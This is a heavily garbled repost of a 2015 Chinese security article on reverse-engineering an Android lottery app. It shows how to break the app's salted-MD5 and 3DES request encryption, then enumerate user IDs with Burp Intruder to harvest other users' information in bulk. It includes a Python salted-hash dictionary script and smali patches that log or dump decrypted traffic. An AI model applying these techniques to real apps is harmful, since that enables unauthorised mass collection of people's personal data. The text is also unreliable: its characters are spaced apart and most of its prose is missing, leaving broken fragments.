[8601] 2015-01-19_从APK解密到批量获取他人信息

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-17
2015-01-19_从APK解密到批量获取他人信息 A P K F r e e B u f   2 0 1 5 - 0 1 - 1 9 0 x 0 0 . A P K A n d r o i d P a c k a g e A n d r o i d ( a p k ) A P K S y m b i a n   S i s S i s x A P K A n d r o i d A n d r o i d A P K 0 x 0 1 . 1 . 1   1 . A P K , , 使 使 b u r p , ,   2 . l o g c a t , 3 . A P K , , J D - G U I , , , s t r 1 , , s i n g m d 5 ( + x x x @ x x x . c n )
, , 使 p y t h o n , i m p o r t   h a s h l i b i m p o r t   o s m d 5 v a l u e   =   [ ] f 1   =   f i l e ( ' / U s e r s / 0 x E x p l o i t / T o o l s / p a s s w d 1 . t x t ' ) f o r   i   i n   f 1 . r e a d l i n e s ( ) :         i   =     i . s t r i p ( ' n r ' )         m d 5 _ 3 2   =   h a s h l i b . m d 5 ( i + ' x x x @ x x x . c o m ' ) . h e x d i g e s t ( )         m d 5 v a l u e . a p p e n d ( m d 5 _ 3 2 ) f 1 . c l o s e ( ) f 2   =   f i l e ( ' / U s e r s / 0 x E x p l o i t / T o o l s / p a s s w d _ m d 5 . t x t ' , ' a + ' ) f o r   i   i n   m d 5 v a l u e :         f 2 . w r i t e l i n e s ( i + o s . l i n e s e p ) f 2 . c l o s e ( ) , e a s y 1 . 2   , , 便 , 使 b u r p r e q u e s t , , r e s p o n s e ,   , , A P K ,   , d a t a m s g = . . . , m s g , h t t p R e q u e s t M a n a g e r . c l a s s , m s g s t r 2 = l o c a l D i s p a t c h P r o t o c a l . m a s h a l l ( ) m a s h a l l ( )
" m a s h a l l " " m a s h a l l " , s t r 3 ,   l o g   c r a c k . s m a l i s m a l i . c l a s s   p u b l i c   L c r a c k ; . s u p e r   L j a v a / l a n g / O b j e c t ; . s o u r c e   " c r a c k . j a v a "   . m e t h o d   p u b l i c   s t a t i c   l o g ( L j a v a / l a n g / S t r i n g ; ) V         . l o c a l s   1         . p r o l o g u e                 c o n s t - s t r i n g   v 0 ,   " i n f o 1 "         i n v o k e - s t a t i c   { v 0 ,   p 0 } ,   L a n d r o i d / u t i l / L o g ; - > d ( L j a v a / l a n g / S t r i n g ; L j a v a / l a n g / S t r i n g ; ) I                 r e t u r n - v o i d . e n d   m e t h o d s m a l i , , v 6 , V 8 , L o g
m a s h a l l , 使 M D 5 , M D 5 , 使 L o g ,   e c l i p s e , A P K , L o g , : : , s e t P o s t T i m e ( ) . : + + s a l t : m d 5 ( + + s a l t ) : r e q u e s t : r e q u e s t , , b u r p m s g L o g r e q u e s t u s e r I d ( s e t P o s t T i m e ( ) ) u s e r I d 1 . 3   , , , b u r p i n t r u d e r ,     e n c r y p t 3 D E S ( ) , 3 D E S , d e c r y p t 3 D E S ( ) , , , s m a l i ,   (   s m a l i , a n d r o i d , )
: A P K , 1 . 使 使 p y t h o n u r l l i b 2 , 便 便 2 . r e s p o n s e , o n c l i c k f o r , u n m a s h a l l ( ) ( u n m a s h a l l d e c r y p t 3 D E S ) , f o r : . m e t h o d   p u b l i c   s t a t i c   g e t ( ) V         . l o c a l s   4         . p r o l o g u e         . l i n e   2 0         c o n s t / 1 6   v 2 ,   0 x a         n e w - a r r a y   v 1 ,   v 2 ,   [ L j a v a / l a n g / S t r i n g ;         . l i n e   2 1         . l o c a l   v 1 ,   " s t r " : [ L j a v a / l a n g / S t r i n g ;         c o n s t / 4   v 2 ,   0 x 0         c o n s t - s t r i n g   v 3 ,   " . . . . . . . . . "         a p u t - o b j e c t   v 3 ,   v 1 ,   v 2         . l i n e   2 2         c o n s t / 4   v 0 ,   0 x 0         . l o c a l   v 0 ,   " i " : I         : g o t o _ 0         a r r a y - l e n g t h   v 2 ,   v 1         i f - l t   v 0 ,   v 2 ,   : c o n d _ 0         . l i n e   2 6         r e t u r n - v o i d         . l i n e   2 3         : c o n d _ 0         i n v o k e - v i r t u a l   { v 3 } ,   L c o m / j i f e n k a / l o t t e r y / m a n a g e r / S e c u r i t y M a n a g e r ; - > u n m a s h a l l ( L j a v a / l a n g / S t r i n g ; ) L j a v a / l a n g / S t r i n g ;         . l i n e   2 2         a d d - i n t / l i t 8   v 0 ,   v 0 ,   0 x 1         g o t o   : g o t o _ 0 . e n d   m e t h o d 3 . r e s p o n s e . m e t h o d   p u b l i c   s t a t i c   p u t s ( L j a v a / l a n g / S t r i n g ; ) V         . l o c a l s   7           . p r o l o g u e         : t r y _ s t a r t _ 0           c o n s t - s t r i n g   v 3 ,   " / s d c a r d / d e b u g . t x t "             n e w - i n s t a n c e   v 2 ,   L j a v a / i o / F i l e O u t p u t S t r e a m ;           c o n s t / 4   v 5 ,   0 x 1           i n v o k e - d i r e c t   { v 2 ,   v 3 ,   v 5 } ,   L j a v a / i o / F i l e O u t p u t S t r e a m ; - > < i n i t > ( L j a v a / l a n g / S t r i n g ; Z ) V           . l i n e   1 9         n e w - i n s t a n c e   v 4 ,   L j a v a / i o / O u t p u t S t r e a m W r i t e r ;           c o n s t - s t r i n g   v 5 ,   " g b 2 3 1 2 "           i n v o k e - d i r e c t   { v 4 ,   v 2 ,   v 5 } ,   L j a v a / i o / O u t p u t S t r e a m W r i t e r ; - > < i n i t > ( L j a v a / i o / O u t p u t S t r e a m ; L j a v a / l a n g / S t r i n g ; ) V           . l i n e   2 1         i n v o k e - v i r t u a l   { v 4 ,   p 0 } ,   L j a v a / i o / O u t p u t S t r e a m W r i t e r ; - > w r i t e ( L j a v a / l a n g / S t r i n g ; ) V           c o n s t - s t r i n g   v 5 ,   " r n "  
        i n v o k e - v i r t u a l   { v 4 ,   v 5 } ,   L j a v a / i o / O u t p u t S t r e a m W r i t e r ; - > w r i t e ( L j a v a / l a n g / S t r i n g ; ) V         . l i n e   2 3         i n v o k e - v i r t u a l   { v 4 } ,   L j a v a / i o / O u t p u t S t r e a m W r i t e r ; - > f l u s h ( ) V           . l i n e   2 5         i n v o k e - v i r t u a l   { v 4 } ,   L j a v a / i o / O u t p u t S t r e a m W r i t e r ; - > c l o s e ( ) V           . l i n e   2 7         i n v o k e - v i r t u a l   { v 2 } ,   L j a v a / i o / F i l e O u t p u t S t r e a m ; - > c l o s e ( ) V         : t r y _ e n d _ 0         . c a t c h   L j a v a / l a n g / E x c e p t i o n ;   { : t r y _ s t a r t _ 0   . .   : t r y _ e n d _ 0 }   : c a t c h _ 0           . l i n e   3 7           : c o n d _ 0         : g o t o _ 0         r e t u r n - v o i d           . l i n e   3 0         : c a t c h _ 0         m o v e - e x c e p t i o n   v 0           . l i n e   3 4         c o n s t - s t r i n g   v 5 ,   " d e b u g "           c o n s t - s t r i n g   v 6 ,   " f i l e   w r i t e   e r r o r "           i n v o k e - s t a t i c   { v 5 ,   v 6 } ,   L a n d r o i d / u t i l / L o g ; - > e ( L j a v a / l a n g / S t r i n g ; L j a v a / l a n g / S t r i n g ; ) I           g o t o   : g o t o _ 0 . e n d   m e t h o d 4 . r e s p o n s e p u t s 5 . ( ) 0 x 0 3 .   , A P K , , , 尿 尿
[ / 0 x E x p l o i t F r e e B u f F r e e B u f . C O M ]
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则